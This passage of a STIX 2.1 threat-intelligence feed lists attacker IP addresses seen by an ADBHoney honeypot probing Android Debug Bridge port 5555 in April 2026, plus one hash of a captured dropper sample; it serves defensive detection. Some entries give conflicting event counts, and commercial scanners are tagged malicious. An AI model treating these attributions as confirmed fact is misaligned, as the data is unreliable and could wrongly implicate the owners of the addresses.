      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T07:00:03.000Z",
      "valid_until": "2026-05-13T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 20,
          "first_seen": "2026-04-11T06:09:18.000Z",
          "last_seen": "2026-04-21T11:30:06.499Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-11T06:08:42.000Z | last_seen=2026-04-11T06:09:51.958Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--8e36a05a-84ea-4f11-bf68-3ceb2722544d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T07:00:03.000Z",
      "valid_until": "2026-05-13T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-11T06:08:42.000Z",
          "last_seen": "2026-04-11T06:09:51.958Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T08:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=CL; asn=7418; asn_org=TELEFONICA CHILE S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-11T07:21:38.000Z | last_seen=2026-04-11T07:31:48.747Z | ports=5555 | cc=CL | asn=7418 | org=TELEFONICA CHILE S.A.",
      "id": "indicator--ad67230f-6129-4276-ba94-38d24a6d1296",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '186.106.171.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:00:03.000Z",
      "valid_until": "2026-05-13T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-11T07:21:38.000Z",
          "last_seen": "2026-04-11T07:31:48.747Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CL"
          ],
          "asn": [
            "7418"
          ],
          "org": [
            "TELEFONICA CHILE S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T08:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-11T07:49:50.000Z | last_seen=2026-04-11T07:59:59.795Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--991a8d5d-91ca-47f5-9a54-da2b2c1e1dc4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.121.84.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:00:03.000Z",
      "valid_until": "2026-05-13T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-11T07:49:50.000Z",
          "last_seen": "2026-04-11T07:59:59.795Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CA; asn=577; asn_org=Bell Canada; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-11T09:59:11.000Z | last_seen=2026-04-11T10:00:16.771Z | ports=5555 | cc=CA | asn=577 | org=Bell Canada",
      "id": "indicator--701ee991-4936-475b-b052-c2f024c5923c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '70.48.146.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:00:02.000Z",
      "valid_until": "2026-05-13T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-11T09:59:11.000Z",
          "last_seen": "2026-04-11T10:00:16.771Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "577"
          ],
          "org": [
            "Bell Canada"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-11T09:39:14.000Z | last_seen=2026-04-11T09:49:27.827Z | ports=5555 | cc=US | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--93a04f41-0546-4637-b977-ed710917fcc3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:00:02.000Z",
      "valid_until": "2026-05-13T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-11T09:39:14.000Z",
          "last_seen": "2026-04-11T09:49:27.827Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-11T09:35:54.000Z | last_seen=2026-04-11T09:36:58.405Z | ports=5555 | cc=US | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--0381d58a-c5ef-486d-a139-cc1c9f53ba93",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:00:02.000Z",
      "valid_until": "2026-05-13T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-11T09:35:54.000Z",
          "last_seen": "2026-04-11T09:36:58.405Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=10 | first_seen=2026-04-11T09:39:13.000Z | last_seen=2026-04-11T09:49:20.831Z | ports=5555 | cc=US | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--872873d5-53be-4191-9687-cacb37342f62",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:00:02.000Z",
      "valid_until": "2026-05-13T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 10,
          "first_seen": "2026-04-11T09:39:13.000Z",
          "last_seen": "2026-04-11T09:49:20.831Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=17 | first_seen=2026-04-11T10:18:22.000Z | last_seen=2026-04-11T10:28:33.006Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--cefa8ced-6672-4a0d-93c1-e3f250f8169b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.197.101.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:00:02.000Z",
      "valid_until": "2026-05-13T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 17,
          "first_seen": "2026-04-11T10:18:22.000Z",
          "last_seen": "2026-04-11T10:28:33.006Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T13:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=23470; asn_org=ReliableSite.Net LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=147 | first_seen=2026-04-11T12:04:21.000Z | last_seen=2026-04-30T16:11:49.885Z | ports=5555 | cc=US | asn=23470 | org=ReliableSite.Net LLC",
      "id": "indicator--d93b352e-3ee8-4040-9fc4-b208f99b1032",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.243.35.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T13:00:05.000Z",
      "valid_until": "2026-05-13T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 147,
          "first_seen": "2026-04-11T12:04:21.000Z",
          "last_seen": "2026-04-30T16:11:49.885Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "23470"
          ],
          "org": [
            "ReliableSite.Net LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T13:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=RO; asn=204428; asn_org=SS-Net; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=15 | first_seen=2026-04-11T12:15:47.000Z | last_seen=2026-04-11T13:21:04.478Z | ports=5555 | cc=RO | asn=204428 | org=SS-Net",
      "id": "indicator--04a8387f-61ea-48d8-974f-b9dd09f40661",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T13:00:05.000Z",
      "valid_until": "2026-05-13T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 15,
          "first_seen": "2026-04-11T12:15:47.000Z",
          "last_seen": "2026-04-11T13:21:04.478Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "204428"
          ],
          "org": [
            "SS-Net"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=SA; asn=35819; asn_org=Etihad Etisalat, a joint stock company; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=28 | first_seen=2026-04-11T14:55:14.000Z | last_seen=2026-04-11T15:05:24.199Z | ports=5555 | cc=SA | asn=35819 | org=Etihad Etisalat, a joint stock company",
      "id": "indicator--e8a87f31-eec8-4e83-a1d8-d282e0a5b805",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '46.251.143.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T15:00:03.000Z",
      "valid_until": "2026-05-13T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 28,
          "first_seen": "2026-04-11T14:55:14.000Z",
          "last_seen": "2026-04-11T15:05:24.199Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SA"
          ],
          "asn": [
            "35819"
          ],
          "org": [
            "Etihad Etisalat, a joint stock company"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T16:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-11T15:47:17.000Z | last_seen=2026-04-11T15:48:25.049Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--a91b484f-8794-4520-89e1-61c89d4ef509",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.42.1.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T16:00:04.000Z",
      "valid_until": "2026-05-13T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-11T15:47:17.000Z",
          "last_seen": "2026-04-11T15:48:25.049Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=209334; asn_org=Modat B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-11T18:02:13.000Z | last_seen=2026-04-11T18:12:17.585Z | ports=5555 | cc=FR | asn=209334 | org=Modat B.V.",
      "id": "indicator--aa71558f-5289-4d90-912b-dd662d667064",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.217.140.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T19:00:02.000Z",
      "valid_until": "2026-05-13T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-11T18:02:13.000Z",
          "last_seen": "2026-04-11T18:12:17.585Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "209334"
          ],
          "org": [
            "Modat B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T20:00:15.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=BR; asn=28573; asn_org=Claro NXT Telecomunicacoes Ltda; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-11T19:19:40.000Z | last_seen=2026-04-11T19:21:17.302Z | ports=5555 | cc=BR | asn=28573 | org=Claro NXT Telecomunicacoes Ltda",
      "id": "indicator--f1a5f5dd-fc04-479a-86a8-ebb10d6542a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '191.177.179.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T20:00:15.000Z",
      "valid_until": "2026-05-13T20:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-11T19:19:40.000Z",
          "last_seen": "2026-04-11T19:21:17.302Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "28573"
          ],
          "org": [
            "Claro NXT Telecomunicacoes Ltda"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=FR; asn=15557; asn_org=Societe Francaise Du Radiotelephone - SFR SA; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-11T21:57:03.000Z | last_seen=2026-04-11T22:07:12.535Z | ports=5555 | cc=FR | asn=15557 | org=Societe Francaise Du Radiotelephone - SFR SA",
      "id": "indicator--3e4d4c7b-d52b-46e0-99db-348537cf9ec6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.92.119.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T22:00:03.000Z",
      "valid_until": "2026-05-13T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-11T21:57:03.000Z",
          "last_seen": "2026-04-11T22:07:12.535Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "15557"
          ],
          "org": [
            "Societe Francaise Du Radiotelephone - SFR SA"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T23:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/d157d76d8ecaa0ba8bca260378319b066216af0eff7e6f0d60ebe3ffbf2b1921.raw; last_seen=2026-04-11T22:42:21.747Z",
      "id": "indicator--e0ed31d9-35f8-4d21-88ef-cd04f8fd8265",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'd157d76d8ecaa0ba8bca260378319b066216af0eff7e6f0d60ebe3ffbf2b1921']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T23:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
